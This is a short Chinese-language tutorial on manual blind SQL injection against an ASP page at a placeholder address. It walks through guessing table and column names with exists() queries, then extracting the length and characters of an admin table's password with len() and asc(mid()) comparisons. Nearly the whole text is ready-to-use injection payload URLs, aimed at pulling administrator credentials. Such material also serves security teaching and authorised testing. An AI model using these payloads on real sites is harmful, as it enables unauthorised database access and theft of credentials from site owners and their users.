SQL手工注入---表的猜解

手工注入过程

找到注入点→表名→列名→列长度→列值

注入点:http://www.xxx.com/index.asp?id=1

猜解表名
http://www.xxx.com/index.asp?id=1 and exists(select * from 猜测的表名)
exists子查询的功能是判断子查询的返回结果中是否有数据行

猜解列名
http://www.xxx.com/index.asp?id=1 and exists(select 猜测的列名 from 存在的表名)

猜解列长度
http://www.xxx.com/index.asp?id=1 and (select top 1 len(存在的列) from 存在的表名)>1
http://www.xxx.com/index.asp?id=1 and (select top 1 len(存在的列) from 存在的表名)=5
例如:http://www.xxx.com/index.asp?id=1 and (select top 1 len(password) from admin)>1

TOP n :子句用于规定要返回的记录的数目。
len(列名) : 函数返回某列字段中值的长度。

猜解列值
http://www.xxx.com/index.asp?id=1 and (select top 1 asc(mid(列名,列数,n)) from admin)> 猜测的ascll码 如97
http://www.xxx.com/index.asp?id=1 and (select top 1 asc(mid(列名,列数,n)) from admin)= 猜测的ascll码 如97
例如 :http://www.xxx.com/index.asp?id=1 and (select top 1 asc(mid(password,1,1)) from admin)>97

asc( ) : 将字符转换为ascll码
mid(列名,开始的列数,截取的个数) : 截取出所需要的字符
SQL手工注入---表的猜解